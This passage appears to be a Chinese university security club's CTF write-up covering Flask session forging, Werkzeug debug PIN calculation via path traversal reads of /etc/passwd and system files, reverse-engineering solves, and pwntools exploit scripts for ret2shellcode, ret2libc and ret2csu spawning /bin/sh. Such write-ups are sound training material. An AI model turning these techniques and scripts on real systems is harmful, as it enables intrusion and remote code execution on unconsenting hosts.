python3 flask_session_cookie_manager3.py decode -s "2.64431321053" -c "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZCEJ8Q.ViozlLPgrNPlU-frHVjZKTUp39c"
加密
python3 flask_session_cookie_manager3.py encode -s "2.64431321053" -t "{'username': b'flllag'}
得到加密后的session
eyJ1c2VybmFtZSI6eyIgYiI6IlpteHNiR0ZuIn19.ZCEXFg.x81HPCIwHDmo-_9RN09WZBX6bnE
计算pin码
从源码中可以看到打开了debug
if __name__=='__main__':
app.run(
debug=True,
可以计算pin码
读mac地址
/read?url=..//sys/class/net/eth0/address
02:42:ac:17:00:02
读machine-id
/read?url=../..//proc/sys/kernel/random/boot_id
7bf5f160-2b7e-4387-871c-1f267f373f4f
读机器id
/read?url=../../../..//proc/self/cgroup
fe33d78d48787917229f406b4bb6ae9ee0aa6d5a6d6cf4b273592da56528651c
获取用户名
/read?url=../../../..//etc/passwd
计算PIN码脚本
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378285570'# str(uuid.getnode()), /sys/class/net/eth0/address
'7bf5f160-2b7e-4387-871c-1f267f373f4ffe33d78d48787917229f406b4bb6ae9ee0aa6d5a6d6cf4b273592da56528651c', # get_machine_id(),/etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
REVERSE
再仔细一点哦
❝
考点:魔改upx 快捷键r转换字符
❞
查壳发现64位有upx壳
进行脱壳
本来想着魔改upx来着,没想到魔改之后还能一步脱壳(我的锅我的锅)
拖进ida查看主函数
看到81 76 78 85 敏感一点就可以想到这是QLNU的十进制写法
简单分析一下算法,if语句判断,数组i的前四个字符是QLNU就输入right,并且else if语句中也都把数组i中的字符串进行了定义,否则就输出wrong,所以将数组i中的字符串按顺序排列好即可出flag
按r可转换为字符
QLNU{Welcome_to_the_competition}
动次打次
❝
考点:远程动调
❞
查壳64位无壳,ELF文件
拖入ida
在kali开启终端,给需要动调的软件和所需文件赋予权限
然后将文件拖入终端中
在ida启动远程动调,先下好断点,然后选择远程linux动调,点击启动按钮
会依次弹出三个弹窗,直接yes ok就可,然后让ida自动寻找文件路径,就会出现下边界面
这样说明程序还在运行但是还没有调起来,因为我们需要在kali输入flag才可以
这样ida就停在了我们下断点的地方
比较我们输入的是否和字符串s相等,如果相等则输出good,所以我们查看字符串s的值即可
这样就找到了我们的flag
flag:QLNU{Cr@zy_Sund@y}
算是简单的APK
用jadx-gui打开,找到MainActivity,有加密数据,XXXX是加密函数,点击跟进
代码中有解密函数,写个java脚本调动解密函数就行
将XXXX的代码全复制下来,改点东西就行
JAVA代码运行工具推荐IDEA,使用方法百度吧。(๑•́ ₃ •̀๑)
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import java.nio.charset.StandardCharsets;
import java.util.Locale;
public class test {
private static final int DELTA = -1640531527;
private static final int[] KEY = {295654981, -158607964, -2093793286, -1412567278};
private static final int TIMES = 32;
private static int toInt(char c) {
if (c < '0' || c > '9') {
if (c < 'A' || c > 'F') {
if (c < 'a' || c > 'f') {
return 0;
}
return c - 'W';
}
return c - '7';
}
return c - '0';
}
private static int transform(byte b) {
return b < 0 ? b + 256 : b;
}
public static byte[] encrypt(byte[] bArr, int i, int[] iArr, int i2) {
int[] byteToInt = byteToInt(bArr, i);
int i3 = byteToInt[0];
int i4 = byteToInt[1];
int i5 = 0;
while (i2 > 0) {
i5 -= 1640531527;
i3 += (((i4 << 4) + iArr[0]) ^ (i4 + i5)) ^ ((i4 >> 5) + iArr[1]);
i4 += (((i3 << 4) + iArr[2]) ^ (i3 + i5)) ^ ((i3 >> 5) + iArr[3]);
i2--;
}
byteToInt[0] = i3;
byteToInt[1] = i4;
return intToByte(byteToInt);
}
public static byte[] decrypt(byte[] bArr, int i, int[] iArr, int i2) {
int[] byteToInt = byteToInt(bArr, i);
int i3 = byteToInt[0];
int i4 = byteToInt[1];
int i5 = i2 == 32 ? -957401312 : i2 == 16 ? -478700656 : DELTA * i2;
while (i2 > 0) {
i4 -= (((i3 << 4) + iArr[2]) ^ (i3 + i5)) ^ ((i3 >> 5) + iArr[3]);
i3 -= (((i4 << 4) + iArr[0]) ^ (i4 + i5)) ^ ((i4 >> 5) + iArr[1]);
i5 += 1640531527;
i2--;
}
byteToInt[0] = i3;
byteToInt[1] = i4;
return intToByte(byteToInt);
}
private static int[] byteToInt(byte[] bArr, int i) {
int[] iArr = new int[bArr.length >> 2];
int i2 = 0;
while (i < bArr.length) {
iArr[i2] = transform(bArr[i + 3]) | (transform(bArr[i + 2]) << 8) | (transform(bArr[i + 1]) << 16) | (bArr[i] << 24);
i2++;
i += 4;
}
return iArr;
}
private static byte[] intToByte(int[] iArr) {
int length = iArr.length << 2;
byte[] bArr = new byte[length];
int i = 0;
for (int i2 = 0; i2 < length; i2 += 4) {
bArr[i2 + 3] = (byte) (iArr[i] & 255);
bArr[i2 + 2] = (byte) ((iArr[i] >> 8) & 255);
bArr[i2 + 1] = (byte) ((iArr[i] >> 16) & 255);
bArr[i2] = (byte) ((iArr[i] >> 24) & 255);
i++;
}
return bArr;
}
private static byte[] encryptByTea(String str) {
byte[] bytes = str.getBytes();
int length = 8 - (bytes.length % 8);
int length2 = bytes.length + length;
byte[] bArr = new byte[length2];
bArr[0] = (byte) length;
System.arraycopy(bytes, 0, bArr, length, bytes.length);
byte[] bArr2 = new byte[length2];
for (int i = 0; i < length2; i += 8) {
System.arraycopy(encrypt(bArr, i, KEY, 32), 0, bArr2, i, 8);
}
return bArr2;
}
private static String decryptByTea(byte[] bArr) {
byte[] bArr2 = new byte[bArr.length];
byte[] bArr3 = null;
for (int i = 0; i < bArr.length; i += 8) {
bArr3 = decrypt(bArr, i, KEY, 32);
System.arraycopy(bArr3, 0, bArr2, i, 8);
}
byte b = bArr2[0];
return new String(bArr2, (int) b, bArr3.length - b);
}
private static String bytes2hex(byte[] bArr) {
String substring;
StringBuilder sb = new StringBuilder();
for (byte b : bArr) {
String hexString = Integer.toHexString(b);
if (hexString.length() == 1) {
substring = "0" + hexString;
} else {
substring = hexString.substring(hexString.length() - 2);
}
sb.append(substring);
}
return sb.toString().toUpperCase(Locale.getDefault());
}
private static byte[] hex2bytes(String str) {
if (str.length() % 2 != 0) {
str = "0" + str;
}
int length = str.length() / 2;
byte[] bArr = new byte[length];
for (int i = 0; i < length; i++) {
int i2 = i * 2;
bArr[i] = (byte) ((toInt(str.charAt(i2)) * 16) + toInt(str.charAt(i2 + 1)));
}
return bArr;
}
private static String replacePlus(String str) {
return (str == null || "".equals(str)) ? "" : str.replace("+", "%2B");
}
private static String addPlus(String str) {
return (str == null || "".equals(str)) ? "" : str.replace("%2B", "+");
}
public static String encryptByBase64Tea(String str) {
return replacePlus(new String(Base64.encode(encryptByTea(bytes2hex(str.getBytes(StandardCharsets.UTF_8))))));
}
public static String decryptByBase64Tea(String str) {
byte[] hex2bytes = hex2bytes(decryptByTea(Base64.decode(addPlus(str))));
if (hex2bytes.length > 0) {
return new String(hex2bytes, StandardCharsets.UTF_8);
}
return null;
}
}
写个主函数调用一下
public class slp {
public static void main(String[] args) {
System.out.println(test.decryptByBase64Tea("QgYJdovIBUC6ZkP9on8DVv8rKH7u0VbZ%2Bwe5gyWuIQ7avv%2BEOY6ajV9UzLOOYzJGlrOMV6NN2N%2B8/C2fjg4TWrJYP/AANmBIk2fH557lKZ8="));
}
}
运行下,得到flag
兔兔冲冲冲
❝
hint:https://blog.csdn.net/weixin_49764009/article/details/120340153
❞
python打包的exe,用pyinstxtractor和pycdc反编译回py
关键部分提取出来
from secret import flag
from Crypto.Cipher import AES
class Game:
FLAG = flag
magic = 0
def magic_s(self):
p = 16045690984230472446
a = 114514
b = 1919810
self.magic = (a * self.magic + b) % p
def print_flag(self):
key = str(self.magic)[:16]
enc = AES.new(key.encode(), AES.MODE_ECB)
flag = enc.decrypt(self.FLAG)
print(flag)
magic是仿射密码的加密方式,不过他有自加密多少轮
然后取magic的前16位做aes解密的key
反编译secret可以得到
flag = bytes.fromhex('17e8fb647b4b10cc8182f0f76649f08bd2d33eacb5fa4ca865d99062f8d0b4c479d7d2328081121536c26c6a4150efb5')
然后找一下magic_s函数被调用的位置
这里是score+1的地方,推断magic_s调用了114514次
合起来
from Crypto.Cipher import AES
class Game:
FLAG = bytes.fromhex('7f0d9e72c154df7ab6118974b8e510270deffe3e22a09d76f38d5867bae7e0bab8f02da161fe19f8b1474cc35aa6e3ab')
magic = 0
def magic_s(self):
p = 16045690984230472446
a = 114514
b = 1919810
self.magic = (a * self.magic + b) % p
def print_flag(self):
for i in range(114514):
self.magic_s()
key = str(self.magic)[:16]
enc = AES.new(key.encode(), AES.MODE_ECB)
flag = enc.decrypt(self.FLAG)
print(flag)
Game().print_flag()
# b'QLNU{L0ve1y_RabBit_aNd_Re_pyth0n_with_you}tttttt'
PWN
shellcode
❝
考点:ret2shellcode
❞
给了两次输入机会,第一次写入shellcode,位置是name,第二次溢出,返回到name处
shellcode_exp:
from pwn import *
p=process('./shellcode')
shellcode="x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x53x54x5fxb0x3bx0fx05"
name_addr=0x6010A0
p.recvuntil("name?n")
p.sendline(shellcode)
p.recvuntil("me?n")
payload=b"a"*0x28+p64(name_addr)
p.sendline(payload)
p.interactive()
libc
❝
考点:ret2libc
❞
程序运行给了puts函数的绝对地址,可以用来获取libc版本(后面作为附件发放了对应版本libc文件,可直接获取偏移) read函数可以溢出 ropgadget获取可用片段
不使用libc文件的exp
from pwn import *
#p=process('./libc')
p=remote('192.168.31.32',10000)
context.log_level = 'debug'
p.recvuntil('tfig :')
p.recvuntil('0x')
putsaddr=int(p.recv(12),16)
info('puts->'+hex(putsaddr))
offset_puts = 0x00000000000809c0
offset_system = 0x000000000004f440
offset_str_bin_sh = 0x1b3e9a
libcbase=putsaddr-offset_puts
info('libc->'+hex(libcbase))
system=libcbase+offset_system
binsh=libcbase+offset_str_bin_sh
pop_rdi_ret=0x00000000004007a3
ret=0x0000000000400546
payload=b'a'*0x108+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
libc_exp:
from pwn import *
p=process('./libc')
libc=ELF('./libc.so')
p.recvuntil('tfig :')
p.recvuntil('0x')
putsaddr=int(p.recv(12),16)
libcbase=putsaddr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi_ret=0x00000000004007a3
ret=0x0000000000400546
payload=b'a'*0x108+p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()
calculate
❝
考点:pwntools使用
❞
交互题
设计了八种运算,随机生成
必须用python3计算才是正确的,使用eval函数
from pwn import *
context.log_level = 'debug'
r = remote('39.101.72.63','10003')
r.sendlineafter(b"...",'')
for i in range(300):
r.recvline()
tmp = str(r.recvline())[2:-5].strip().replace('\n','')
result = eval(tmp)
r.sendline(str(result))
r.recvline()
print(r.recv())
csu
❝
考点:ret2csu
❞
read函数可溢出 ida看到libc初始化片段__libc_csu_init可用,我们可以通过payload布局csu片段 write函数已经执行过,可泄露真实地址,从而利用它获取libc版本 ida可以得到write和main的地址 ropgadget获取可用片段
csu_exp
from pwn import*
p=process('./csu')
libc=ELF('./libc.so')
write_got=0x601018
main_addr=0x400699
pop_addr=0x40076A
mov_addr=0x400750
pop_rdi=0x400773
ret=0x400506
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)
p.recvuntil('Please:n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/shx00"))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.recvuntil('Please:n')
p.sendline(payload)
p.interactive()
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论